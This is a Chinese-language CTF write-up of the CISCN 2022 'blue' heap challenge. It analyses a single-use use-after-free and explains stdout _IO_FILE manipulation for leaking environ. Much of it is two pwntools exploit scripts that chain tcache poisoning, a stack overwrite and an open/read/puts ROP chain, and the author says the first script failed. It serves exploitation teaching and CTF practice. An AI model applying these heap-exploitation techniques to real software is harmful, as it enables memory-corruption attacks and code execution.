题目来源于ciscn 2022 华东北分区赛的blue。

程序保护:

可以看到题目是保护全开的状态,并且开启了沙箱,所以最后肯定要用到orw。

libc版本为2.31。

静态分析:

check函数:

__int64 check()
{
  __int64 result; // rax

  if ( _free_hook || (result = _malloc_hook) != 0 )
  {
    puts_0("ERROR");
    _exit(0);
  }
  return result;
}

可以看到程序还检查了free_hook和malloc_hook的值,并且在每次menu调用的时候都会执行一次。

magic函数:

__int64 magic()
{
  unsigned int v1; // [rsp+Ch] [rbp-4h]

  if ( magic_times > 0 )
  {
    puts("ERROR");
    _exit(0);
  }
  puts_0("Please input idx: ");
  v1 = myread();
  if ( v1 <= 0x20 && sizes[v1] && *((_QWORD *)&chunks + v1) )
  {
    free(*((void **)&chunks + v1));             // uaf
    ++magic_times;
    return puts_0("DONE!\n");
  }
  else
  {
    puts_0("ERROR\n");
    return 0xFFFFFFFFLL;
  }
}

仅能调用一次的uaf,可以用来泄露libc基地址。

add函数:

__int64 add()
{
  int i; // [rsp+0h] [rbp-10h]
  unsigned int size[3]; // [rsp+4h] [rbp-Ch]

  puts_0("Please input size: ");
  *(_QWORD *)size = (unsigned int)myread();
  if ( size[0] > 0x90 )
    size[0] = 144;
  *(_QWORD *)&size[1] = malloc(size[0]);
  if ( *(_QWORD *)&size[1] )
  {
    puts_0("Please input content: ");
    read_0(*(_QWORD *)&size[1], size[0]);
    for ( i = 0; i <= 31; ++i )
    {
      if ( !chunks[i] && !sizes[i] )
      {
        chunks[i] = *(_QWORD *)&size[1];
        sizes[i] = size[0];
        puts_0("Done\n");
        return (unsigned int)i;
      }
    }
    return puts_0("Empty\n");
  }
  else
  {
    puts_0("Malloc Error\n");
    return 0xFFFFFFFFLL;
  }
}

堆块大小不能超过0x90,限制了一些操作(比如大于0x410直接释放进unsortedbin)

show函数:

__int64 show()
{
  unsigned int v1; // [rsp+Ch] [rbp-4h]

  if ( show_times > 0 )
  {
    puts("ERROR");
    _exit(0);
  }
  puts_0("Please input idx: ");
  v1 = myread();
  if ( v1 <= 0x20 && sizes[v1] && chunks[v1] )
  {
    puts_0(chunks[v1]);
    ++show_times;
    return puts_0("Done!\n");
  }
  else
  {
    puts_0("ERROR\n");
    return 0xFFFFFFFFLL;
  }
}

同样只能调用一次。

delete函数:

__int64 delete()
{
  unsigned int v1; // [rsp+Ch] [rbp-4h]

  puts_0("Please input idx: ");
  v1 = myread();
  if ( v1 <= 0x20 && sizes[v1] && chunks[v1] )
  {
    free((void *)chunks[v1]);
    chunks[v1] = 0LL;
    sizes[v1] = 0;
    return puts_0("DONE!\n");
  }
  else
  {
    puts_0("ERROR\n");
    return 0xFFFFFFFFLL;
  }
}

很普通的delete函数,没有uaf漏洞。

解题思路:

从上面我们可以看到,程序中唯一有的漏洞就是magic函数里的uaf,但是这个uaf只能利用一次,而且程序限制了我们修改malloc_hook或者free_hook,那么我们该如何控制程序执行流?

在此之前,我们学习栈的时候,通常是通过修改程序返回地址来控制执行流,那么我们在这里是否也可以这样操作?堆题如果想打栈那首先要泄露出栈的地址,而栈地址在environ里面保存的有,所以我们的目标就变成了如何泄露出environ的内容。

上文分析的时候我们知道程序只能调用一次show函数,而这个机会毫无疑问是属于libc基址的,那么我门又该如何输出environ的值?

这个时候就可以引入我们今天的学习目标:IO_FILE(简单入门)

https://elixir.bootlin.com/glibc/glibc-2.31/source/libio/bits/types/struct_FILE.h#L49

struct _IO_FILE
{
  int _flags;		/* High-order word is _IO_MAGIC; rest is flags. */

  /* The following pointers correspond to the C++ streambuf protocol. */
  char *_IO_read_ptr;	/* Current read pointer */
  char *_IO_read_end;	/* End of get area. */
  char *_IO_read_base;	/* Start of putback+get area. */
  char *_IO_write_base;	/* Start of put area. */
  char *_IO_write_ptr;	/* Current put pointer. */
  char *_IO_write_end;	/* End of put area. */
  char *_IO_buf_base;	/* Start of reserve area. */
  char *_IO_buf_end;	/* End of reserve area. */

  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers;

  struct _IO_FILE *_chain;

  int _fileno;
  int _flags2;
  __off_t _old_offset; /* This used to be _offset but it's too small.  */

  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];

  _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

这题我们就是通过修改stdout的 _IO_write_base(起始输出地址);_IO_write_ptr(输出指向地址);_IO_write_end(输出结束地址)来得到environ的值。我们把_IO_write_base覆盖为environ的地址,把_IO_write_ptr和_IO_write_end覆盖为environ+8就可以泄露出environ的内容。

修改stdout使用的是overlapping的方法,当我们可以控制chunk的header时候,通过修改原有块的头大小,产生堆块重叠。

这就是堆块重叠,这个时候就可以通过修改0x81这个堆块来修改0x91的fd指针,进而造成任意写。

PS:本地libc版本没找到,然后没打通,不知道为什么,留个坑以后来填。

from pwn import *
context(os="linux",arch="amd64",log_level="debug")

p = process("./pwn")
#p = remote('node4.anna.nssctf.cn',28324)
elf = ELF("./pwn")
libc = ELF("/home/kali/glibc-all-in-one-master/libs/2.31-0ubuntu9.16_amd64/libc.so.6")
#libc = ELF("./libc.so.6")
def debug():
    gdb.attach(p)

def choice(idx):
    p.sendlineafter("Choice:", str(idx))

def add(size, data):
    choice(1)
    p.sendlineafter("size:", str(size))
    p.sendafter("content:", data)

def free(idx):
    choice(2)
    p.sendlineafter("idx:", str(idx))

def show(idx):
    choice(3)
    p.sendlineafter("idx:", str(idx))

def uaf(idx):
    choice(666)
    p.sendlineafter("idx:", str(idx))

for i in range(10):
    add(0x80, b"Yuq1Ng")

for i in range(7):
    free(i)
#debug()
uaf(8)
show(8)
leak = u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00'))
libc_base = leak - (0x7f7da3e65be0 - 0x7f7da3c79000)
print("leak >>>",hex(leak))
print("libc_base >>>",hex(libc_base))
#debug()
stdout = libc_base + libc.sym['_IO_2_1_stdout_']
print("stdout >>>", hex(stdout))
environ = libc_base + libc.sym['environ']
print("environ >>>", hex(environ))

free(7)#这个时候由于7号和8号挨在一起,所以合并了

#overlapping
add(0x80, b"Yuq1Ng")#从tcache里面拿出来一个堆块 0
free(8)#8号堆块又被释放进去(从unsortedbin里面到tcachebin)
add(0x70, b"Yuq1Ng")#切割unsortedbin 1

p1 = p64(0) + p64(0x91) + p64(stdout)
add(0x70, p1) # 2

add(0x80, b"Yuq1Ng") # 3
p2 = p64(0xFBAD1800) + p64(0) * 3 + p64(environ) + p64(environ+8)
add(0x80, p2) # 4
leak2 = u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00'))
print("leak >>>",hex(leak2))
stack_addr = leak2 - 0x128# ebp的地址
print("stack_addr >>>",hex(stack_addr))
#debug()
#继续用上面的overlapping
free(3)
free(2)
p3 = p64(0) + p64(0x91) + p64(stack_addr)
add(0x70, p3) # 2 继续tcachebin attack,这里把最后一个0x80的fd指针改为了stack_addr的地址

debug()

read_addr = libc_base + libc.sym['read']
open_addr = libc_base + libc.sym['open']
write_addr = libc_base + libc.sym['write']
pop_rdi_ret = libc_base + libc.search(asm('pop rdi;ret;')).__next__()
pop_rsi_ret = libc_base + libc.search(asm('pop rsi;ret;')).__next__()
pop_rdx_ret = libc_base + libc.search(asm('pop rdx;ret;')).__next__()

flag_addr = stack_addr
ppp = stack_addr + 0x200

p4 = b'./flag\x00\x00'

# open('./flag', 0)
p4 += p64(pop_rdi_ret) + p64(flag_addr) + p64(pop_rsi_ret) + p64(0) + p64(open_addr)

# read(3, ppp, 0x50)
p4 += p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_ret) + p64(ppp) + p64(pop_rdx_ret) + p64(0x50) + p64(read_addr)

# puts(ppp)
puts_addr = libc_base + libc.sym['puts']
p4 += p64(pop_rdi_ret) + p64(ppp) + p64(puts_addr)

add(0x80,p64(stack_addr))
#debug()
add(0x80, p4)
#到这里就直接寄了,没读到flag

p.interactive()

参考链接:https://blog.csdn.net/zzq487782568/article/details/125575603

IO_FILE主要是给堆利用增加了一些利用手法,其他的还有horseof系列的手法,后面用到了再学,我也不想在glibc上浪费太多时间,接下来应该会继续向vm、内核、IOT方向发展。

附上上面的一个远程能打通的exp:

from pwn import *
from pwn import p64,u64,p32,u32,p8
 
#context.terminal = ["tmux","sp","-h"]
context(log_level="debug",os="linux",arch="amd64")
 
#io=remote('node4.anna.nssctf.cn',28324)
io = process("./pwn")
 
elf=ELF("./pwn")
libc=ELF("/home/kali/glibc-all-in-one-master/libs/2.31-0ubuntu9.16_amd64/libc.so.6")
 
sla = lambda x,y : io.sendlineafter(x,y)
sa  = lambda x,y : io.sendafter(x,y)
sl  = lambda x   : io.sendline(x)
sd  = lambda x   : io.send(x)
gd  = lambda     : gdb.attach(io)
inter = lambda   : io.interactive()
 
def get_addr() :
    return u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
 
 
def add(size,content):
    sla(b"Choice: ",b"1")
    sla(b"Please input size:",str(size))
    sa(b"Please input content:",content)
 
def free(idx):
    sla(b"Choice: ",b"2")
    sla(b"Please input idx:",str(idx))
 
def show(idx):
    sla(b"Choice: ",b"3")
    sla(b"Please input idx:",str(idx))
 
def uaf(idx):
    sla(b"Choice: ",b"666")
    sla(b"Please input idx:",str(idx))
 
def pwn():
    for i in range(9):
        add(0x80,b"aaaa") # 0-8
    add(0x10,b"aaaa")
    for i in range(7):
        free(i)
    uaf(8)    
    show(8)
    libc_base = get_addr() - 0x1ecbe0
    IO_stdout = libc_base + libc.sym["_IO_2_1_stdout_"]
    environ = libc_base + libc.sym["environ"]
    print("libc_base ------> "+hex(libc_base))    
    free(7)
    add(0x80,b"aaaa") #0
    free(8)
    # gd()
    # pause()
    add(0x70,b"aaaa") #1
    payload = p64(0) + p64(0x91)
    payload += p64(IO_stdout)
    add(0x70,payload) #2
    add(0x80,b"aaaa") #3  2和3地址只差了0x10,所以用2可以覆盖3堆块,控制tcache链表
    payload = p64(0xfbad1800) + p64(0) * 3
    payload += p64(environ) + p64(environ + 8)*2
    add(0x80,payload) #4
    stack = get_addr() - 0x128
    print("stack addr ----> "+hex(stack))
    # pause()
 
    free(3)
    # pause()
    free(2)
    # pause()
 
    payload = p64(0) + p64(0x91)
    payload += p64(stack)
    add(0x70,payload)
    add(0x80,b"aaaa") # 将下一个控制位add函数的ret栈地址,方便我们写入shellcode
    # pause()
    pop_rdi = libc_base + libc.search(asm('pop rdi;ret;')).__next__()
    #pop_rdi_ret = libc_base + 0x0000000000023b6a
    pop_rsi = libc_base + libc.search(asm('pop rsi;ret;')).__next__()
    #pop_rsi_ret = libc_base +0x000000000002601f
    pop_rdx = libc_base + libc.search(asm('pop rdx;ret;')).__next__()
    #pop_rdx_ret = 0x0000000000142c92 + libc_base
    open_plt = libc_base + libc.sym["open"]
    read_plt = libc_base + libc.sym["read"]
    puts_plt = libc_base + libc.sym["puts"]
    flag = stack + 0x180 # flag被读入的地址
  
    # ./flag字符串地址就是stack地址,注意要8字节对齐
    payload = b"./flag\x00\x00"
    # open("./flag",0) 0 代表只读形式
    payload += p64(pop_rdi) + p64(stack)
    payload += p64(pop_rsi) + p64(0)
    payload += p64(open_plt)
    # read(3,flag地址,0x40)
    payload += p64(pop_rdi) + p64(3)
    payload += p64(pop_rsi) + p64(flag)
    payload += p64(pop_rdx) + p64(0x40)
    payload += p64(read_plt)
 
    # puts(flag地址) 因为写orw的话,payload会超过了0x80字节
    payload += p64(pop_rdi) + p64(flag)
    payload += p64(puts_plt)
 
    add(0x80,payload) # 这个堆块可以就是add函数的ret地址,我们将payload写在那里
    # pause()
 
    inter()
 
pwn()

师傅们的lambda表达式还是很好用的,后面可以自己总结一个。

说点什么
支持Markdown语法
好耶,沙发还空着ヾ(≧▽≦*)o
Loading...